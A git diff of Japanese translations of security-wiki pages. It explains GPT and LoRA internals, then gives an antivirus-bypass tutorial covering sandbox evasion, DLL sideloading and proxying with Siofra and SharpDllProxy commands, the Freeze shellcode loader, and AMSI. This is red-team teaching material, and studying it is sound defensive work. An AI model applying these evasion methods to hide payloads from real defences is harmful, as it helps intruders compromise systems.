* **主要コンポーネント:** * **主要コンポーネント:**
* **クエリ、キー、値:** 入力の線形射影で、注意スコアを計算するために使用されます。 * **クエリ、キー、値:** 入力の線形射影で、注意スコアを計算するために使用されます。
* **ヘッド:** 複数の注意メカニズムが並行して実行されます(`num_heads`)、それぞれが縮小された次元(`head_dim`)を持ちます。 * **ヘッド:** 複数の注意メカニズムが並行して実行されます(`num_heads`)、それぞれが減少した次元(`head_dim`)を持ちます。
* **注意スコア:** クエリとキーのドット積として計算され、スケーリングとマスキングが行われます。 * **注意スコア:** クエリとキーのドット積として計算され、スケーリングとマスキングが行われます。
* **マスキング:** 将来のトークンにモデルが注意を向けないようにする因果マスクが適用されますGPTのような自己回帰モデルにとって重要です * **マスキング:** 将来のトークンにモデルが注意を向けないようにするために因果マスクが適用されますGPTのような自己回帰モデルにとって重要です
* **注意重み:** マスクされたスケーリングされた注意スコアのソフトマックス。 * **注意重み:** マスクされたスケーリングされた注意スコアのソフトマックス。
* **コンテキストベクター:** 注意重みに従った値の加重和。 * **コンテキストベクター:** 注意重みに従った値の加重和。
* **出力射影:** すべてのヘッドの出力を組み合わせるための線形層。 * **出力射影:** すべてのヘッドの出力を組み合わせるための線形層。
@ -274,7 +274,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
{% hint style="info" %} {% hint style="info" %}
このネットワークの目標は、同じコンテキスト内のトークン間の関係を見つけることです。さらに、トークンは異なるヘッドに分割され、最終的に見つかった関係はこのネットワークの最後で結合されるため、過学習を防ぎます。 このネットワークの目標は、同じコンテキスト内のトークン間の関係を見つけることです。さらに、トークンは異なるヘッドに分割され、最終的に見つかった関係はこのネットワークの最後で結合されるため、過学習を防ぎます。
さらに、トレーニング中に**因果マスク**が適用され、特定のトークンに対する関係を見ているときに後のトークンが考慮されないようにし、**ドロップアウト**も適用されて**過学習を防ぎます**。 さらに、訓練中に**因果マスク**が適用され、特定のトークンに対する関係を見ているときに後のトークンが考慮されないようにし、**ドロップアウト**も適用されて**過学習を防ぎます**。
{% endhint %} {% endhint %}
### **層** 正規化 ### **層** 正規化
@ -295,13 +295,13 @@ return self.scale * norm_x + self.shift
``` ```
#### **目的と機能** #### **目的と機能**
* **レイヤー正規化:** バッチ内の各個別の例に対して、特徴(埋め込み次元)全体入力を正規化するために使用される技術。 * **レイヤー正規化:** バッチ内の各個別の例に対して、特徴(埋め込み次元)全体入力を正規化するために使用される技術。
* **コンポーネント:** * **コンポーネント:**
* **`eps`:** 正規化中のゼロ除算を防ぐために分散に追加される小さな定数(`1e-5`)。 * **`eps`:** 正規化中のゼロ除算を防ぐために分散に追加される小さな定数(`1e-5`)。
* **`scale``shift`:** 正規化された出力をスケールおよびシフトするためにモデルが学習可能なパラメータ(`nn.Parameter`。それぞれ、初期値は1と0。 * **`scale``shift`:** 正規化された出力をスケールおよびシフトするためにモデルが学習可能なパラメータ(`nn.Parameter`。それぞれ、初期値は1と0。
* **正規化プロセス:** * **正規化プロセス:**
* **平均の計算(`mean`:** 埋め込み次元(`dim=-1`)に沿っ入力 `x` の平均を計算し、ブロードキャストのために次元を保持する(`keepdim=True`)。 * **平均の計算(`mean`:** 埋め込み次元(`dim=-1`)に沿っ入力 `x` の平均を計算し、ブロードキャストのために次元を保持する(`keepdim=True`)。
* **分散の計算(`var`:** 埋め込み次元に沿っ `x` の分散を計算し、同様に次元を保持する。`unbiased=False` パラメータは、バイアス推定量を使用して分散が計算されることを保証する(`N-1` ではなく `N` で割る)。これは、サンプルではなく特徴に対して正規化する際に適切。 * **分散の計算(`var`:** 埋め込み次元に沿っ `x` の分散を計算し、同様に次元を保持する。`unbiased=False` パラメータは、バイアス推定量を使用して分散が計算されることを保証する(`N` で割る代わりに `N-1` で割る)。これは、サンプルではなく特徴に対して正規化する際に適切。
* **正規化(`norm_x`:** `x` から平均を引き、分散に `eps` を加えた平方根で割る。 * **正規化(`norm_x`:** `x` から平均を引き、分散に `eps` を加えた平方根で割る。
* **スケールとシフト:** 正規化された出力に学習可能な `scale``shift` パラメータを適用する。 * **スケールとシフト:** 正規化された出力に学習可能な `scale``shift` パラメータを適用する。
@ -311,7 +311,7 @@ return self.scale * norm_x + self.shift
### **トランスフォーマーブロック** ### **トランスフォーマーブロック**
_形状を理解するために、行列の形状をコメントとして追加しました:_ _行列の形状をよりよく理解するためにコメントとして形状が追加されています:_
```python ```python
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 # From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
@ -353,10 +353,10 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
``` ```
#### **目的と機能** #### **目的と機能**
* **層の構成:** マルチヘッドアテンション、フィードフォワードネットワーク、レイヤーノーマライゼーション、残差接続を組み合わせる。 * **層の構成:** マルチヘッドアテンション、フィードフォワードネットワーク、レイヤーノーマライゼーション、および残差接続を組み合わせる。
* **レイヤーノーマライゼーション:** 安定したトレーニングのためにアテンションとフィードフォワード層の前に適用される。 * **レイヤーノーマライゼーション:** 安定したトレーニングのためにアテンションとフィードフォワード層の前に適用される。
* **残差接続(ショートカット):** 層の入力を出力に加えて勾配の流れを改善し、深いネットワークのトレーニングを可能にする。 * **残差接続(ショートカット):** 層の入力を出力に加えて勾配の流れを改善し、深いネットワークのトレーニングを可能にする。
* **ドロップアウト:** 正則化のためにアテンションとフィードフォワード層の後に適用される。 * **ドロップアウト:** 正則化のためにアテンションとフィードフォワード層の後に適用される。
#### **ステップバイステップの機能** #### **ステップバイステップの機能**
@ -365,19 +365,19 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
* **レイヤーノーム(`norm1`:** 入力を正規化する。 * **レイヤーノーム(`norm1`:** 入力を正規化する。
* **マルチヘッドアテンション(`att`:** 自己アテンションを適用する。 * **マルチヘッドアテンション(`att`:** 自己アテンションを適用する。
* **ドロップアウト(`drop_shortcut`:** 正則化のためにドロップアウトを適用する。 * **ドロップアウト(`drop_shortcut`:** 正則化のためにドロップアウトを適用する。
* **残差を加える(`x + shortcut`:** 元の入力と結合する。 * **残差を加える(`x + shortcut`:** 元の入力と組み合わせる。
2. **2番目の残差パスフィードフォワード:** 2. **2番目の残差パスフィードフォワード:**
* **入力(`shortcut`:** 次の残差接続のために更新された入力を保存する。 * **入力(`shortcut`:** 次の残差接続のために更新された入力を保存する。
* **レイヤーノーム(`norm2`:** 入力を正規化する。 * **レイヤーノーム(`norm2`:** 入力を正規化する。
* **フィードフォワードネットワーク(`ff`:** フィードフォワード変換を適用する。 * **フィードフォワードネットワーク(`ff`:** フィードフォワード変換を適用する。
* **ドロップアウト(`drop_shortcut`:** ドロップアウトを適用する。 * **ドロップアウト(`drop_shortcut`:** ドロップアウトを適用する。
* **残差を加える(`x + shortcut`:** 最初の残差パスからの入力と結合する。 * **残差を加える(`x + shortcut`:** 最初の残差パスからの入力と組み合わせる。
{% hint style="info" %} {% hint style="info" %}
トランスフォーマーブロックはすべてのネットワークをグループ化し、トレーニングの安定性と結果を改善するためにいくつかの**正規化**と**ドロップアウト**を適用します。\ トランスフォーマーブロックはすべてのネットワークをグループ化し、トレーニングの安定性と結果を改善するためにいくつかの**正規化**と**ドロップアウト**を適用します。\
ドロップアウトは各ネットワークの使用後に行われ、正規化は前に適用されることに注意してください。 ドロップアウトは各ネットワークの使用後に行われ、正規化は前に適用されることに注意してください。
さらに、ショートカットを使用しており、これは**ネットワークの出力をその入力に加える**ことから成ります。これにより、初期層が最後の層と「同じくらい」貢献することを確実にすることで、消失勾配問題を防ぐのに役立ちます。 さらに、ショートカットを使用しており、これは**ネットワークの出力をその入力に加える**ことから成ります。これにより、初期層が最後の層と「同じくらい」寄与することを確実にすることで、消失勾配問題を防ぐのに役立ちます。
{% endhint %} {% endhint %}
### **GPTModel** ### **GPTModel**
@ -440,24 +440,24 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
#### **目的と機能** #### **目的と機能**
* **埋め込み層:** * **埋め込み層:**
* **トークン埋め込み (`tok_emb`):** トークンインデックスを埋め込みに変換します。リマインダーとして、これは語彙内の各トークンの各次元に与えられる重みです。 * **トークン埋め込み (`tok_emb`):** トークンインデックスを埋め込みに変換します。これは語彙内の各トークンの各次元に与えられる重みです。
* **位置埋め込み (`pos_emb`):** 埋め込みに位置情報を追加してトークンの順序を捉えます。リマインダーとして、これはテキスト内の位置に応じてトークンに与えられる重みです。 * **位置埋め込み (`pos_emb`):** 埋め込みに位置情報を追加してトークンの順序を捉えます。これはテキスト内の位置に応じてトークンに与えられる重みです。
* **ドロップアウト (`drop_emb`):** 正則化のために埋め込みに適用されます。 * **ドロップアウト (`drop_emb`):** 正則化のために埋め込みに適用されます。
* **トランスフォーマーブロック (`trf_blocks`):** 埋め込みを処理するための `n_layers` トランスフォーマーブロックのスタックです。 * **トランスフォーマーブロック (`trf_blocks`):** 埋め込みを処理するための `n_layers` トランスフォーマーブロックのスタックです。
* **最終正規化 (`final_norm`):** 出力層の前の層正規化です。 * **最終正規化 (`final_norm`):** 出力層の前の層正規化です。
* **出力層 (`out_head`):** 最終的な隠れ状態を語彙サイズに投影して予測のためのロジットを生成します。 * **出力層 (`out_head`):** 最終的な隠れ状態を語彙サイズに投影して予測のためのロジットを生成します。
{% hint style="info" %} {% hint style="info" %}
このクラスの目的は、**シーケンス内の次のトークンを予測する**ために他のすべてのネットワークを使用することです。これはテキスト生成のようなタスクにとって基本的です。 このクラスの目的は、**シーケンス内の次のトークンを予測する**ために他のすべてのネットワークを使用することであり、これはテキスト生成のようなタスクにとって基本的です。
どのようにして**指定された数のトランスフォーマーブロックを使用する**に注意してください。また、各トランスフォーマーブロックは1つのマルチヘッドアテンションネット、1つのフィードフォワードネット、およびいくつかの正規化を使用しています。したがって、12のトランスフォーマーブロックが使用される場合は、これを12倍します。 指定された数のトランスフォーマーブロックを**使用する**ことに注意し、各トランスフォーマーブロックは1つのマルチヘッドアテンションネット、1つのフィードフォワードネット、およびいくつかの正規化を使用しています。したがって、12のトランスフォーマーブロックが使用される場合は、これを12倍します。
さらに、**出力の前に**正規化層が追加され、最後に適切な次元で結果を得るために最終線形層が適用されます。各最終ベクトルが使用される語彙のサイズを持つことに注意してください。これは、語彙内の可能なトークンごとに確率を得ようとしているためです。 さらに、**出力****前に**正規化層が追加され、最後に適切な次元で結果を得るために最終線形層が適用されます。各最終ベクトルが使用される語彙のサイズを持つことに注意してください。これは、語彙内の可能なトークンごとに確率を得ようとしているためです。
{% endhint %} {% endhint %}
## トレーニングするパラメータの数 ## 訓練するパラメータの数
GPT構造が定義されると、トレーニングするパラメータの数を見つけることが可能です: GPT構造が定義されると、訓練するパラメータの数を見つけることが可能です:
```python ```python
GPT_CONFIG_124M = { GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size "vocab_size": 50257, # Vocabulary size
@ -609,7 +609,7 @@ total_params = 163,009,536
``` ```
## テキスト生成 ## テキスト生成
前のトークンのように次のトークンを予測するモデルがあれば、出力から最後のトークンの値を取得するだけで済みます(それが予測されたトークンの値になります)。これは**語彙内の各エントリごとの値**となり、次に`softmax`関数を使用して次元を正規化し、合計が1になる確率に変換し、最大のエントリのインデックスを取得します。これが語彙内の単語のインデックスになります。 前のトークンのように次のトークンを予測するモデルがあれば、出力から最後のトークンの値を取得するだけで済みます(それが予測されたトークンの値になります)。これは**語彙内の各エントリに対する値**となり、次に`softmax`関数を使用して次元を正規化し、合計が1になる確率に変換し、最大のエントリのインデックスを取得します。これが語彙内の単語のインデックスになります。
Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb): Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
```python ```python

View file

@ -8,14 +8,14 @@
LoRAは、モデルの**小さな部分**のみを変更することで、**大規模モデル**を効率的にファインチューニングすることを可能にします。これにより、トレーニングする必要のあるパラメータの数が減り、**メモリ**と**計算リソース**が節約されます。これは以下の理由によります: LoRAは、モデルの**小さな部分**のみを変更することで、**大規模モデル**を効率的にファインチューニングすることを可能にします。これにより、トレーニングする必要のあるパラメータの数が減り、**メモリ**と**計算リソース**が節約されます。これは以下の理由によります:
1. **トレーニング可能なパラメータの数を削減**: モデル内の全体の重み行列を更新する代わりに、LoRAは重み行列を2つの小さな行列**A**と**B**)に**分割**します。これにより、トレーニングが**速く**なり、更新する必要のあるパラメータが少なくなるため、**メモリ**が**少なく**て済みます。 1. **トレーニング可能なパラメータの数を削減**: モデル内の全体の重み行列を更新する代わりに、LoRAは重み行列を2つの小さな行列**A**と**B**)に**分割**します。これにより、トレーニングが**速く**なり、更新する必要のあるパラメータが少ないため、**メモリ**も**少なく**て済みます。
1. これは、レイヤー行列の完全な重み更新を計算する代わりに、2つの小さな行列の積に近似するため、更新計算が削減されるからです: 1. これは、レイヤー行列の完全な重み更新を計算する代わりに、2つの小さな行列の積に近似するため、計算する更新が減少するからです:
<figure><img src="../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2. **元のモデルの重みを変更しない**: LoRAを使用すると、元のモデルの重みをそのままにしておき、**新しい小さな行列**AとBだけを更新できます。これは、モデルの元の知識が保持され、必要な部分だけを調整することを意味するため、便利です。 2. **元のモデルの重みを変更しない**: LoRAを使用すると、元のモデルの重みをそのままにしておき、**新しい小さな行列**AとBだけを更新できます。これは、モデルの元の知識が保持され、必要な部分だけを調整することを意味するため、便利です。
3. **効率的なタスク特化型ファインチューニング**: モデルを**新しいタスク**に適応させたい場合、モデルの残りの部分をそのままにしておき、**小さなLoRA行列**AとBだけをトレーニングすればよいです。これは、モデル全体を再トレーニングするよりも**はるかに効率的**です。 3. **効率的なタスク特化型ファインチューニング**: モデルを**新しいタスク**に適応させたい場合、モデルの残りの部分をそのままにしておき、**小さなLoRA行列**AとBだけをトレーニングすればよいです。これは、モデル全体を再トレーニングするよりも**はるかに効率的**です。
4. **ストレージ効率**: ファインチューニング後、各タスクのために**全く新しいモデル**を保存する代わりに、**LoRA行列**だけを保存すればよく、これは全体のモデルに比べて非常に小さいです。これにより、あまりストレージを使用せずにモデルを多くのタスクに適応させることが容易になります。 4. **ストレージ効率**: ファインチューニング後、各タスクのために**新しいモデル全体**を保存する代わりに、**LoRA行列**だけを保存すればよく、これはモデル全体に比べて非常に小さいです。これにより、あまりストレージを使用せずにモデルを多くのタスクに適応させることが容易になります。
ファインチューニング中にLinearの代わりにLoraLayersを実装するために、ここに提案されたコードがあります [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb): ファインチューニング中にLinearの代わりにLoraLayersを実装するために、ここに提案されたコードがあります [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01\_main-chapter-code/appendix-E.ipynb):
```python ```python

View file

@ -1,8 +1,8 @@
# Antivirus (AV) Bypass # Antivirus (AV) Bypass
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
@ -27,19 +27,19 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
現在、AVはファイルが悪意のあるものであるかどうかを確認するために、静的検出、動的分析、そしてより高度なEDRの場合は行動分析など、さまざまな方法を使用しています。 現在、AVはファイルが悪意のあるものであるかどうかを確認するために、静的検出、動的分析、そしてより高度なEDRの場合は行動分析など、さまざまな方法を使用しています。
### **静的検出** ### **Static detection**
静的検出は、バイナリまたはスクリプト内の既知の悪意のある文字列やバイトの配列にフラグを立て、ファイル自体から情報を抽出することによって達成されます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、より簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります: 静的検出は、バイナリまたはスクリプト内の既知の悪意のある文字列やバイトの配列にフラグを立てることによって達成され、ファイル自体から情報を抽出することも含まれます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、より簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります:
* **暗号化** * **Encryption**
バイナリを暗号化すると、AVがプログラムを検出する方法はなくなりますが、メモリ内でプログラムを復号化して実行するためのローダーが必要になります。 バイナリを暗号化すると、AVがプログラムを検出する方法はなくなりますが、メモリ内でプログラムを復号化して実行するためのローダーが必要になります。
* **難読化** * **Obfuscation**
時には、バイナリやスクリプト内のいくつかの文字列を変更するだけでAVを通過できることがありますが、何を難読化しようとしているかによっては、時間がかかる作業になることがあります。 時には、バイナリやスクリプト内のいくつかの文字列を変更するだけでAVを通過できることがありますが、これは何を難読化しようとしているかによって時間がかかる作業になることがあります。
* **カスタムツール** * **Custom tooling**
独自のツールを開発すれば、既知の悪いシグネチャは存在しませんが、これには多くの時間と労力がかかります。 独自のツールを開発すれば、既知の悪いシグネチャは存在しませんが、これには多くの時間と労力がかかります。
@ -47,15 +47,15 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
Windows Defenderの静的検出に対抗する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。 Windows Defenderの静的検出に対抗する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。
{% endhint %} {% endhint %}
的なAV回避に関するこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf)をぜひチェックしてください。 的なAV回避に関するこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf)をぜひチェックしてください。
### **動的分析** ### **Dynamic analysis**
動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することですブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど。この部分は扱いが少し難しいすが、サンドボックスを回避するためにできることはいくつかあります。 動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することですブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど。この部分は扱いが少し難しいことがありますが、サンドボックスを回避するためにできることはいくつかあります。
* **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。問題は、多くのAVのサンドボックスが実装方法によってはスリープをスキップできることです。 * **Sleep before execution** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。問題は、多くのAVのサンドボックスが実装方法によってはスリープをスキップできることです。
* **マシンのリソースをチェック** 通常、サンドボックスは作業に使用できるリソースが非常に少ない(例:< 2GB RAMためそうでなければユーザーのマシンを遅くする可能性がありますここでは非常にクリエイティブになることもできますたとえばCPUの温度やファンの速度をチェックすることですべてがサンドボックスに実装されているわけではありません * **Checking machine's resources** 通常、サンドボックスは作業に使用できるリソースが非常に少ないです(例:< 2GB RAMさもなければユーザーのマシンを遅くする可能性がありますここでは非常にクリエイティブになることもできますたとえばCPUの温度やファンの速度をチェックすることですべてがサンドボックスに実装されているわけではありません
* **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーのワークステーションをターゲットにしたい場合、コンピュータのドメインをチェックして指定したものと一致するかどうかを確認できます。一致しない場合、プログラムを終了させることができます。 * **Machine-specific checks** "contoso.local"ドメインに参加しているユーザーのワークステーションをターゲットにしたい場合、コンピュータのドメインをチェックして指定したものと一致するかどうかを確認できます。一致しない場合、プログラムを終了させることができます。
Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。 Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。
@ -69,7 +69,7 @@ Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THで
たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**それとも、LSASSをダンプする別のあまり知られていないプロジェクトを使用できますか。 たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**それとも、LSASSをダンプする別のあまり知られていないプロジェクトを使用できますか。
正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢です。したがって、達成しようとしていることの代替手段を探してください。 正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢のようなものです。したがって、達成しようとしていることの代替手段を探してください。
{% hint style="info" %} {% hint style="info" %}
回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認し、長期的に回避を達成することが目標である場合は、**VIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。 回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認し、長期的に回避を達成することが目標である場合は、**VIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。
@ -77,19 +77,19 @@ Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THで
## EXEs vs DLLs ## EXEs vs DLLs
可能な限り、常に**回避のためにDLLを使用することを優先してください**。私の経験では、DLLファイルは通常**はるかに検出されにくく**、分析されにくいため、いくつかのケースで検出を回避するための非常に簡単なトリックですもちろん、ペイロードがDLLとして実行される方法がある場合 可能な限り、常に**回避のためにDLLを使用することを優先してください**。私の経験では、DLLファイルは通常**はるかに検出されにくく**、分析されにくいため、いくつかのケースで検出を回避するための非常にシンプルなトリックですもちろん、ペイロードがDLLとして実行される方法がある場合
この画像に示されているように、HavocのDLLペイロードはantiscan.meでの検出率が4/26であるのに対し、EXEペイロードは7/26の検出率です。 この画像に示されているように、HavocのDLLペイロードはantiscan.meでの検出率が4/26であるのに対し、EXEペイロードは7/26の検出率です。
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.meの通常のHavoc EXEペイロードと通常のHavoc DLLの比較</p></figcaption></figure> <figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.meの通常のHavoc EXEペイロードと通常のHavoc DLLの比較</p></figcaption></figure>
次に、DLLファイルを使用してはるかにステルス性を高めるためのいくつかのトリックを示します。 ここでは、DLLファイルを使用してはるかにステルス性を高めるためのいくつかのトリックを示します。
## DLLサイドローディングとプロキシング ## DLL Sideloading & Proxying
**DLLサイドローディング**は、ローダーによって使用されるDLL検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを並べて配置します。 **DLL Sideloading**は、ローダーによって使用されるDLL検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを並べて配置することです。
DLLサイドローディングに脆弱なプログラムをチェックするには、[Siofra](https://github.com/Cybereason/siofra)と次のPowerShellスクリプトを使用できます DLL Sideloadingに脆弱なプログラムをチェックするには、[Siofra](https://github.com/Cybereason/siofra)と次のPowerShellスクリプトを使用できます
{% code overflow="wrap" %} {% code overflow="wrap" %}
```powershell ```powershell
@ -106,7 +106,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、**DLLプロキシング/フォワーディング**という別の技術を使用します。 悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、**DLLプロキシング/フォワーディング**という別の技術を使用します。
**DLLプロキシング**は、プログラムがプロキシおよび悪意のあるDLLから元のDLLに対して行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。 **DLLプロキシング**は、プログラムがプロキシおよび悪意のあるDLLから元のDLLに行う呼び出しを転送し、プログラムの機能を保持しつつ、ペイロードの実行を処理できるようにします。
私は[@flangvik](https://twitter.com/Flangvik/)の[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)プロジェクトを使用します。 私は[@flangvik](https://twitter.com/Flangvik/)の[SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy)プロジェクトを使用します。
@ -121,7 +121,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
``` ```
{% endcode %} {% endcode %}
最後のコマンドは、DLLソースコードテンプレートと元の名前を変更したDLLの2つのファイルを生成します。 最後のコマンドは、DLLソースコードテンプレートと元の名前を変更したDLLの2つのファイルを生成します。
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
@ -140,12 +140,12 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %} {% hint style="info" %}
私は**強く推奨**します、[S3cur3Th1sSh1tのtwitch VOD](https://www.twitch.tv/videos/1644171543)を視聴し、また[ippsecの動画](https://www.youtube.com/watch?v=3eROsG_WNpE)を見て、私たちがより深く議論したことについて学んでください。 私は**強く推奨**します、DLLサイドローディングについての[S3cur3Th1sSh1tのtwitch VOD](https://www.twitch.tv/videos/1644171543)を視聴し、また[ippsecのビデオ](https://www.youtube.com/watch?v=3eROsG_WNpE)を見て、私たちがより深く議論したことについて学んでください。
{% endhint %} {% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze) ## [**Freeze**](https://github.com/optiv/Freeze)
`Freezeは、サスペンドされたプロセス、直接システムコール、および代替実行方法を使用してEDRをバイパスするためのペイロードツールキットです` `Freezeは、サスペンドプロセス、直接システムコール、および代替実行方法を使用してEDRをバイパスするためのペイロードツールキットです`
Freezeを使用して、シェルコードをステルスな方法でロードおよび実行できます。 Freezeを使用して、シェルコードをステルスな方法でロードおよび実行できます。
``` ```
@ -167,12 +167,12 @@ AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/File
AMSI機能はWindowsのこれらのコンポーネントに統合されています。 AMSI機能はWindowsのこれらのコンポーネントに統合されています。
* ユーザーアカウント制御、またはUACEXE、COM、MSI、またはActiveXインストールの昇格 * ユーザーアカウント制御、またはUACEXE、COM、MSI、またはActiveXインストールの昇格
* PowerShellスクリプト、対話使用、および動的コード評価) * PowerShellスクリプト、対話使用、および動的コード評価)
* Windows Script Hostwscript.exeおよびcscript.exe * Windows Script Hostwscript.exeおよびcscript.exe
* JavaScriptおよびVBScript * JavaScriptおよびVBScript
* Office VBAマクロ * Office VBAマクロ
